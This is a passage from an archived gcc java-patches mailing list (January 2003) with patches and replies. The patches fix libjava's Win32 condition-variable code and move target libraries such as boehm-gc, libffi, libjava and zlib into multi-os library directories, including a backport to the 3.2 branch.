0); > LeaveCriticalSection(&cv->count_mutex); > > - if (last_waiter) ResetEvent(&cv->ev[1]); > + if (last_waiter) > + ResetEvent (cv->ev[1]); > > _Jv_MutexLock (mu); > > - if (rval == WAIT_FAILED) return GetLastError(); > - else if (rval == WAIT_TIMEOUT) return ETIMEDOUT; > - else return 0; > + return 0; > } > > @@ -122,5 +126,5 @@ > // we do lazy creation of Events since CreateEvent() is > insanely expensive > cv->ev[0] = 0; > - InitializeCriticalSection(&cv->count_mutex); > + InitializeCriticalSection (&cv->count_mutex); > cv->blocked_count = 0; > } > @@ -129,30 +133,49 @@ > _Jv_CondDestroy (_Jv_ConditionVariable_t *cv) > { > - if (cv->ev[0] != 0) CloseHandle(cv->ev[0]); > + if (cv->ev[0] != 0) > + { > + CloseHandle (cv->ev[0]); > + CloseHandle (cv->ev[1]); > + > + cv->ev[0] = 0; > + } > + > + DeleteCriticalSection (&cv->count_mutex); > + > cv = NULL; > } > > int > -_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) > +_Jv_CondNotify (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) > { > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > + > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > int somebody_is_blocked = cv->blocked_count > 0; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > + > + if (somebody_is_blocked) > + SetEvent (cv->ev[0]); > > - if (somebody_is_blocked) return SetEvent (cv->ev[0]) ? 0 : > GetLastError(); > - else return 0; > + return 0; > } > > int > -_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *) > +_Jv_CondNotifyAll (_Jv_ConditionVariable_t *cv, _Jv_Mutex_t *mu) > { > - EnterCriticalSection(&cv->count_mutex); > - ensure_condvar_initialized(cv); > + if (mu->owner != GetCurrentThreadId ( )) > + return _JV_NOT_OWNER; > + > + EnterCriticalSection (&cv->count_mutex); > + ensure_condvar_initialized (cv); > int somebody_is_blocked = cv->blocked_count > 0; > - LeaveCriticalSection(&cv->count_mutex); > + LeaveCriticalSection (&cv->count_mutex); > > - if (somebody_is_blocked) return SetEvent (cv->ev[1]) ? 0 : > GetLastError(); > - else return 0; > + if (somebody_is_blocked) > + SetEvent (cv->ev[1]); > + > + return 0; > } > > @@ -166,6 +189,6 @@ > _Jv_ThreadKey = TlsAlloc(); > _Jv_ThreadDataKey = TlsAlloc(); > - daemon_mutex = CreateMutex(NULL, 0, NULL); > - daemon_cond = CreateEvent(NULL, 0, 0, NULL); > + daemon_mutex = CreateMutex (NULL, 0, NULL); > + daemon_cond = CreateEvent (NULL, 1, 0, NULL); > non_daemon_count = 0; > } > @@ -256,5 +279,5 @@ > non_daemon_count--; > if (! non_daemon_count) > - PulseEvent (daemon_cond); > + SetEvent (daemon_cond); > ReleaseMutex (daemon_mutex); > } > @@ -298,8 +321,10 @@ > _Jv_ThreadWait (void) > { > - WaitForSingleObject(daemon_mutex, INFINITE); > - if(non_daemon_count) > - SignalObjectAndWait(daemon_mutex, daemon_cond, INFINITE, 0); > - ReleaseMutex(daemon_mutex); > + WaitForSingleObject (daemon_mutex, INFINITE); > + if (non_daemon_count) > + { > + ReleaseMutex (daemon_mutex); > + WaitForSingleObject (daemon_cond, INFINITE); > + } > } > > -------------------------------- 8< -------------------------------- > > Sincerely Yours, > Ranjit. > > -- > Ranjit Mathew Email: rmathew AT hotmail DOT com > Bangalore, > INDIA. Web: http://ranjitmathew.tripod.com/ > > From java-patches-return-5927-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 22:21:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21692 invoked by alias); 27 Jan 2003 22:21:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21494 invoked from network); 27 Jan 2003 22:21:33 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 27 Jan 2003 22:21:33 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dHWG-0005UO-00; Mon, 27 Jan 2003 17:14:20 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0RMBkg05379; Mon, 27 Jan 2003 17:11:46 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0RMBjik024299; Mon, 27 Jan 2003 20:11:45 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0RMBgbg024295; Mon, 27 Jan 2003 20:11:42 -0200 To: Gabriel Dos Reis Cc: Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 27 Jan 2003 20:11:42 -0200 In-Reply-To: Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= On Jan 27, 2003, Gabriel Dos Reis wrote: > Alexandre Oliva writes: > | On Jan 27, 2003, Gabriel Dos Reis wrote: > | > | > Well, I'm not comfortable with that situation. This patch does not > | > fix any regression nor any critical bug. > | > | Huh? How can you say it is not a critical bug? The fact that the > | non-default libstdc++ multilib can't be located by g++ on say > | sparc64-linux-gnu is not a critical bug? > Sure, it is, now that you clearly spell its purpose. Phew! > Obvsiouly, the reasons why that patch was nominated wasn't obvious to > me (catching up tons of mails) and I was under the impression that it > is just a matter of "lineing up versions". Actually, it requires something similar to this (that I'm testing) to line up all other target libraries with libgcc and (now) libstdc++. Would you rather have the libstdc++-v3 part reverted, so that it remains consistent with all other target libraries (except libgcc), stay as is or get something like this additional patch in. This is actually for mainline and I'm still testing it, but I wouldn't mind porting it over to 3.2. As for mainline and 3.3, does any of the maintainers of libf2c, libobjc and libjava object to it? --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=libs-in-multi-os-dir.patch Index: boehm-gc/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: boehm-gc/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/boehm-gc/Makefile.am,v retrieving revision 1.36 diff -u -p -r1.36 Makefile.am --- boehm-gc/Makefile.am 23 Sep 2002 03:52:49 -0000 1.36 +++ boehm-gc/Makefile.am 27 Jan 2003 20:29:25 -0000 @@ -16,15 +16,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - noinst_LTLIBRARIES = libgcjgc.la libgcjgc_convenience.la GC_SOURCES = allchblk.c alloc.c blacklst.c checksums.c dbg_mlc.c \ Index: boehm-gc/configure.in =================================================================== RCS file: /cvs/gcc/gcc/boehm-gc/configure.in,v retrieving revision 1.43 diff -u -p -r1.43 configure.in --- boehm-gc/configure.in 19 Jul 2002 08:54:43 -0000 1.43 +++ boehm-gc/configure.in 27 Jan 2003 20:29:25 -0000 @@ -1,4 +1,4 @@ -# Copyright (c) 1999, 2000, 2001, 2002 by Red Hat, Inc. All rights reserved. +# Copyright (c) 1999, 2000, 2001, 2002, 2003 by Red Hat, Inc. All rights reserved. # # THIS MATERIAL IS PROVIDED AS IS, WITH ABSOLUTELY NO WARRANTY EXPRESSED # OR IMPLIED. ANY USE IS AT YOUR OWN RISK. @@ -267,7 +267,17 @@ AC_ARG_ENABLE(full-debug, esac ] fi) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" Index: libf2c/ChangeLog from Alexandre Oliva * Makefile.in ($(LIBG2C)): -rpath is glibcpp_toolexeclibdir. * aclocal.m4 (glibcpp_toolexeclibdir): Instead of $(MULTISUBDIR), use `$CC -print-multi-os-directory`, unless version_specific_libs is enabled. * configure: Rebuilt. Index: libf2c/Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libf2c/Makefile.in,v retrieving revision 1.55 diff -u -p -r1.55 Makefile.in --- libf2c/Makefile.in 9 Jan 2003 08:08:28 -0000 1.55 +++ libf2c/Makefile.in 27 Jan 2003 20:29:34 -0000 @@ -1,5 +1,5 @@ # Makefile for GNU F77 compiler runtime. -# Copyright (C) 1995-1998, 2001, 2002 Free Software Foundation, Inc. +# Copyright (C) 1995-1998, 2001, 2002, 2003 Free Software Foundation, Inc. # Contributed by Dave Love (d.love@dl.ac.uk). # #This file is part of GNU Fortran. @@ -153,7 +153,7 @@ i77 f77 u77: g2c.h $(LIBG2C): s-libi77 s-libf77 s-libu77 s-libe77 $(LIBTOOL) --mode=link $(CC) -o $@ \ -version-info $(VERSION_MAJOR):$(VERSION_MINOR):$(VERSION_SUB) \ - -rpath $(libdir)$(MULTISUBDIR) \ + -rpath $(glibcpp_toolexeclibdir) \ -objectlist s-libe77 \ -objectlist s-libf77 \ -objectlist s-libi77 \ Index: libf2c/aclocal.m4 =================================================================== RCS file: /cvs/gcc/gcc/libf2c/aclocal.m4,v retrieving revision 1.5 diff -u -p -r1.5 aclocal.m4 --- libf2c/aclocal.m4 26 Jun 2002 03:53:44 -0000 1.5 +++ libf2c/aclocal.m4 27 Jan 2003 20:29:35 -0000 @@ -207,11 +207,12 @@ if test x"$glibcpp_toolexecdir" = x"no"; if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then glibcpp_toolexecdir='$(exec_prefix)/$(target_alias)' - glibcpp_toolexeclibdir='$(toolexecdir)/lib$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(toolexecdir)/lib' else glibcpp_toolexecdir='$(libdir)/gcc-lib/$(target_alias)' - glibcpp_toolexeclibdir='$(libdir)$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(libdir)' fi + glibcpp_toolexeclibdir=$glibcpp_toolexeclibdir/`$CC -print-multi-os-directory` fi AC_SUBST(glibcpp_prefixdir) Index: libffi/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: libffi/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libffi/Makefile.am,v retrieving revision 1.23 diff -u -p -r1.23 Makefile.am --- libffi/Makefile.am 23 Sep 2002 03:52:50 -0000 1.23 +++ libffi/Makefile.am 27 Jan 2003 20:29:36 -0000 @@ -76,15 +76,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - toolexeclib_LTLIBRARIES = libffi.la noinst_LTLIBRARIES = libffi_convenience.la Index: libffi/configure.in =================================================================== RCS file: /cvs/gcc/gcc/libffi/configure.in,v retrieving revision 1.33 diff -u -p -r1.33 configure.in --- libffi/configure.in 12 Nov 2002 04:45:57 -0000 1.33 +++ libffi/configure.in 27 Jan 2003 20:29:36 -0000 @@ -164,7 +164,17 @@ AC_ARG_ENABLE(purify-safety, AC_DEFINE(USING_PURIFY) fi) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" Index: libiberty/ChangeLog from Alexandre Oliva * Makefile.in (install_to_tooldir): Instead of $(MULTISUBDIR), use /`$$CC -print-multi-os-directory`. Index: libiberty/Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libiberty/Makefile.in,v retrieving revision 1.82 diff -u -p -r1.82 Makefile.in --- libiberty/Makefile.in 24 Jan 2003 23:23:18 -0000 1.82 +++ libiberty/Makefile.in 27 Jan 2003 20:29:40 -0000 @@ -1,6 +1,6 @@ # # Makefile -# Copyright (C) 1990, 91-99, 2000, 2001, 2002 +# Copyright (C) 1990, 91-99, 2000, 2001, 2002, 2003 # Free Software Foundation # # This file is part of the libiberty library. @@ -284,10 +284,10 @@ install_to_libdir: all @$(MULTIDO) $(FLAGS_TO_PASS) multi-do DO=install install_to_tooldir: all - ${mkinstalldirs} $(DESTDIR)$(tooldir)/lib$(MULTISUBDIR) - $(INSTALL_DATA) $(TARGETLIB) $(DESTDIR)$(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB)n - ( cd $(DESTDIR)$(tooldir)/lib$(MULTISUBDIR) ; $(RANLIB) $(TARGETLIB)n ) - mv -f $(DESTDIR)$(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB)n $(DESTDIR)$(tooldir)/lib$(MULTISUBDIR)/$(TARGETLIB) + ${mkinstalldirs} $(DESTDIR)$(tooldir)/lib/`$$CC -print-multi-os-directory` + $(INSTALL_DATA) $(TARGETLIB) $(DESTDIR)$(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB)n + ( cd $(DESTDIR)$(tooldir)/lib/`$$CC -print-multi-os-directory` ; $(RANLIB) $(TARGETLIB)n ) + mv -f $(DESTDIR)$(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB)n $(DESTDIR)$(tooldir)/lib/`$$CC -print-multi-os-directory`/$(TARGETLIB) @$(MULTIDO) $(FLAGS_TO_PASS) multi-do DO=install # needed-list is used by libstdc++. NEEDED is the list of functions Index: libjava/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: libjava/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.269 diff -u -p -r1.269 Makefile.am --- libjava/Makefile.am 20 Jan 2003 06:46:26 -0000 1.269 +++ libjava/Makefile.am 27 Jan 2003 20:29:47 -0000 @@ -14,15 +14,6 @@ endif ## What gets installed, and where. ## -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - if XLIB_AWT cond_x_ltlibrary = libgcjx.la ## We require libstdc++-v3 to be in the same build tree. Index: libjava/configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.144 diff -u -p -r1.144 configure.in --- libjava/configure.in 14 Jan 2003 13:51:13 -0000 1.144 +++ libjava/configure.in 27 Jan 2003 20:29:48 -0000 @@ -789,9 +789,20 @@ AC_SUBST(EXCEPTIONSPEC) AM_CONDITIONAL(CANADIAN, test "$CANADIAN" = yes) AM_CONDITIONAL(NULL_TARGET, test "$NULL_TARGET" = yes) AM_CONDITIONAL(NATIVE, test "$NATIVE" = yes || test "$NULL_TARGET" = yes) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") AM_CONDITIONAL(NEEDS_DATA_START, test "$NEEDS_DATA_START" = yes && test "$NATIVE" = yes) AC_SUBST(GCC_UNWIND_INCLUDE) + +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) # Determine gcj version number. changequote(<<,>>) Index: libobjc/ChangeLog from Alexandre Oliva * aclocal.m4 (glibcpp_toolexeclibdir): Instead of $(MULTISUBDIR), use `$CC -print-multi-os-directory`, unless version_specific_libs is enabled. * configure: Rebuilt. Index: libobjc/aclocal.m4 =================================================================== RCS file: /cvs/gcc/gcc/libobjc/aclocal.m4,v retrieving revision 1.5 diff -u -p -r1.5 aclocal.m4 --- libobjc/aclocal.m4 26 Jun 2002 03:53:44 -0000 1.5 +++ libobjc/aclocal.m4 27 Jan 2003 20:29:50 -0000 @@ -207,11 +207,12 @@ if test x"$glibcpp_toolexecdir" = x"no"; if test -n "$with_cross_host" && test x"$with_cross_host" != x"no"; then glibcpp_toolexecdir='$(exec_prefix)/$(target_alias)' - glibcpp_toolexeclibdir='$(toolexecdir)/lib$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(toolexecdir)/lib' else glibcpp_toolexecdir='$(libdir)/gcc-lib/$(target_alias)' - glibcpp_toolexeclibdir='$(libdir)$(MULTISUBDIR)' + glibcpp_toolexeclibdir='$(libdir)' fi + glibcpp_toolexeclibdir=$glibcpp_toolexeclibdir/`$CC -print-multi-os-directory` fi AC_SUBST(glibcpp_prefixdir) Index: zlib/ChangeLog.gcj from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: zlib/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/zlib/Makefile.am,v retrieving revision 1.10 diff -u -p -r1.10 Makefile.am --- zlib/Makefile.am 23 Sep 2002 03:52:55 -0000 1.10 +++ zlib/Makefile.am 27 Jan 2003 20:29:51 -0000 @@ -10,15 +10,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - ZLIB_SOURCES = adler32.c compress.c crc32.c deflate.c deflate.h \ gzio.c infblock.c infblock.h infcodes.c infcodes.h inffast.c inffast.h \ inffixed.h inflate.c inftrees.c inftrees.h infutil.c infutil.h trees.c \ Index: zlib/configure.in =================================================================== RCS file: /cvs/gcc/gcc/zlib/configure.in,v retrieving revision 1.15 diff -u -p -r1.15 configure.in --- zlib/configure.in 16 May 2002 17:43:21 -0000 1.15 +++ zlib/configure.in 27 Jan 2003 20:29:51 -0000 @@ -113,7 +113,18 @@ AC_SUBST(target_all) AC_CHECK_HEADERS(unistd.h) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory 2>/dev/null || echo .` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) + AM_CONDITIONAL(TARGET_LIBRARY, test -n "$with_target_subdir") if test "${multilib}" = "yes"; then --=-=-= -- Alexandre Oliva Enjoy Guarana', see http://www.ic.unicamp.br/~oliva/ Red Hat GCC Developer aoliva@{redhat.com, gcc.gnu.org} CS PhD student at IC-Unicamp oliva@{lsd.ic.unicamp.br, gnu.org} Free Software Evangelist Professional serial bug killer --=-=-=-- From java-patches-return-5928-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 22:38:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31237 invoked by alias); 27 Jan 2003 22:38:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31224 invoked from network); 27 Jan 2003 22:38:23 -0000 Received: from unknown (HELO uniton.integrable-solutions.net) (62.212.99.186) by 172.16.49.205 with SMTP; 27 Jan 2003 22:38:23 -0000 Received: from uniton.integrable-solutions.net (localhost [127.0.0.1]) by uniton.integrable-solutions.net (8.12.3/8.12.3/SuSE Linux 0.6) with ESMTP id h0RMcCjj014900; Mon, 27 Jan 2003 23:38:12 +0100 Received: (from gdr@localhost) by uniton.integrable-solutions.net (8.12.3/8.12.3/Submit) id h0RMcCgq014888; Mon, 27 Jan 2003 23:38:12 +0100 X-Authentication-Warning: uniton.integrable-solutions.net: gdr set sender to gdr@integrable-solutions.net using -f To: Alexandre Oliva Cc: Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> From: Gabriel Dos Reis In-Reply-To: Organization: Integrable Solutions Date: 27 Jan 2003 23:38:12 +0100 Message-ID: Lines: 25 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Alexandre Oliva writes: [...] | > Obvsiouly, the reasons why that patch was nominated wasn't obvious to | > me (catching up tons of mails) and I was under the impression that it | > is just a matter of "lineing up versions". | | Actually, it requires something similar to this (that I'm testing) to | line up all other target libraries with libgcc and (now) libstdc++. | Would you rather have the libstdc++-v3 part reverted, so that it | remains consistent with all other target libraries (except libgcc), | stay as is or get something like this additional patch in. This is | actually for mainline and I'm still testing it, but I wouldn't mind | porting it over to 3.2. As for mainline and 3.3, does any of the | maintainers of libf2c, libobjc and libjava object to it? You just convinced me it was a serious bug; now, you are not going to try to change (again) my mind; are you? ;-) I would apprecaite if you could backport the patch to 3.2 to line up all affected target libraries with libgcc. Thanks, -- Gaby From java-patches-return-5929-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Jan 27 23:19:21 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24178 invoked by alias); 27 Jan 2003 23:19:20 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24165 invoked from network); 27 Jan 2003 23:19:20 -0000 Received: from unknown (HELO monty-python.gnu.org) (199.232.76.173) by 172.16.49.205 with SMTP; 27 Jan 2003 23:19:20 -0000 Received: from nat-pool-rdu.redhat.com ([66.187.233.200] helo=lacrosse.corp.redhat.com) by monty-python.gnu.org with esmtp (Exim 4.10.13) id 18dIX7-0003e3-00; Mon, 27 Jan 2003 18:19:17 -0500 Received: from free.redhat.lsd.ic.unicamp.br (aoliva.cipe.redhat.com [10.0.1.10]) by lacrosse.corp.redhat.com (8.11.6/8.9.3) with ESMTP id h0RNIDg16123; Mon, 27 Jan 2003 18:18:13 -0500 Received: from free.redhat.lsd.ic.unicamp.br (localhost.localdomain [127.0.0.1]) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7) with ESMTP id h0RNICik010123; Mon, 27 Jan 2003 21:18:12 -0200 Received: (from aoliva@localhost) by free.redhat.lsd.ic.unicamp.br (8.12.7/8.12.7/Submit) id h0RNIBQW010119; Mon, 27 Jan 2003 21:18:11 -0200 To: Gabriel Dos Reis Cc: Benjamin Kosnik , gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: libstdc++ multilibs installed where gcc won't find them References: <20030127103953.18383991.bkoz@redhat.com> From: Alexandre Oliva Organization: GCC Team, Red Hat Date: 27 Jan 2003 21:18:11 -0200 In-Reply-To: Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" --=-=-= On Jan 27, 2003, Gabriel Dos Reis wrote: > You just convinced me it was a serious bug; now, you are not going to > try to change (again) my mind; are you? ;-) Well, it was a vain attempt to save myself some work in back-porting the patch (as opposed to say just reverting libstdc++-v3), but it turned out to be trivial to back-port. It would have been simpler had the DESTDIR patch gone in, since I had to resolve conflicts by hand in libiberty, but the rest just applied cleanly. > I would apprecaite if you could backport the patch to 3.2 to line up all > affected target libraries with libgcc. Here's the back-port of the patch to the 3.2 branch, for your appreciation. Ok to install, if it builds and installs ok? --=-=-= Content-Type: text/x-patch Content-Disposition: inline; filename=libs-in-multi-os-dir.patch Index: boehm-gc/ChangeLog from Alexandre Oliva * configure.in (toolexecdir, toolexeclibdir): Set and AC_SUBST. Remove USE_LIBDIR conditional. * Makefile.am (toolexecdir, toolexeclibdir): Don't override. * Makefile.in, configure: Rebuilt. Index: boehm-gc/Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/boehm-gc/Makefile.am,v retrieving revision 1.33.2.2.4.1 diff -u -p -r1.33.2.2.4.1 Makefile.am --- boehm-gc/Makefile.am 7 Oct 2002 04:37:02 -0000 1.33.2.2.4.1 +++ boehm-gc/Makefile.am 27 Jan 2003 23:14:57 -0000 @@ -16,15 +16,6 @@ MULTISUBDIR = MULTIDO = true MULTICLEAN = true -## Install a library built with a cross compiler in tooldir, not -## libdir. -if USE_LIBDIR -toolexeclibdir = $(libdir)$(MULTISUBDIR) -else -toolexecdir = $(exec_prefix)/$(target_alias) -toolexeclibdir = $(toolexecdir)/lib$(MULTISUBDIR) -endif - noinst_LTLIBRARIES = libgcjgc.la libgcjgc_convenience.la GC_SOURCES = allchblk.c alloc.c blacklst.c checksums.c dbg_mlc.c \ Index: boehm-gc/configure.in =================================================================== RCS file: /cvs/gcc/gcc/boehm-gc/configure.in,v retrieving revision 1.39.2.2 diff -u -p -r1.39.2.2 configure.in --- boehm-gc/configure.in 8 May 2002 04:25:22 -0000 1.39.2.2 +++ boehm-gc/configure.in 27 Jan 2003 23:14:57 -0000 @@ -1,4 +1,4 @@ -# Copyright (c) 1999, 2000, 2001, 2002 by Red Hat, Inc. All rights reserved. +# Copyright (c) 1999, 2000, 2001, 2002, 2003 by Red Hat, Inc. All rights reserved. # # THIS MATERIAL IS PROVIDED AS IS, WITH ABSOLUTELY NO WARRANTY EXPRESSED # OR IMPLIED. ANY USE IS AT YOUR OWN RISK. @@ -265,7 +265,17 @@ AC_ARG_ENABLE(full-debug, esac ] fi) -AM_CONDITIONAL(USE_LIBDIR, test -z "$with_cross_host") +if test -n "$with_cross_host" && + test x"$with_cross_host" != x"no"; then + toolexecdir='$(exec_prefix)/$(target_alias)' + toolexeclibdir='$(toolexecdir)/lib' +else + toolexecdir='$(libdir)/gcc-lib/$(target_alias)' + toolexeclibdir='$(libdir)' +fi +toolexeclibdir=$toolexeclibdir/`$CC -print-multi-os-directory` +AC_SUBST(toolexecdir) +AC_SUBST(toolexeclibdir) if test "${multilib}" = "yes"; then multilib_arg="--enable-multilib" Index: libf2c/ChangeLog from Alexandre Oliva * Makefile.in ($(LIBG2C)): -rpath is glibcpp_toolexeclibdir. * aclocal.m4 (glibcpp_toolexeclibdir): Instead of $(MULTISUBDIR), use `$CC -print-multi-os-directory`, unless version_specific_libs is enabled. * configure: Rebuilt. Index: libf2c/Makefile.in =================================================================== RCS file: /cvs/gcc/gcc/libf2c/Makefile.in,v retrieving revision 1.48.2.1.4.1 diff -u -p -r1.48.2.1.4.1 Makefile.in --- libf2c/Makefile.in 7 Oct 2002 04:37:02 -0000 1.48.2.1.4.1 +++ libf2c/Makefile.in 27 Jan 2003 23:15:05 -0000 @@ -1,5 +1,5 @@ # Makefile for GNU F77 compiler runtime. -# Copyright (C) 1995-1998, 2001, 2002 Free Software Foundation, Inc. +# Copyright (C) 1995-1998, 2001, 2002, 2003 Free Software Foundation, Inc. # Contributed by Dave Love (d.love@dl.ac.uk). # #This file is part of GNU Fortran. @@ -149,7 +149,7 @@ i77 f77 u77: g2c.h $(LIBG2C): s-libi77 s-libf77 s-libu77 s-libe77 $(LIBTOOL) --mode=link $(CC) -o $@ \ -version-info $(VERSION_MAJOR):$(VERSION_MINOR):$(VERSION_SUB) \ - -rpath $(libdir)$(MULTISUBDIR) \ + -rpath $(glibcpp_toolexeclibdir) \ -objectlist s-libe77 \ -objectlist s-libf77 \ -objectlist s-libi77 \ Index: libf2c/aclocal.m4 =================================================================== RCS file: 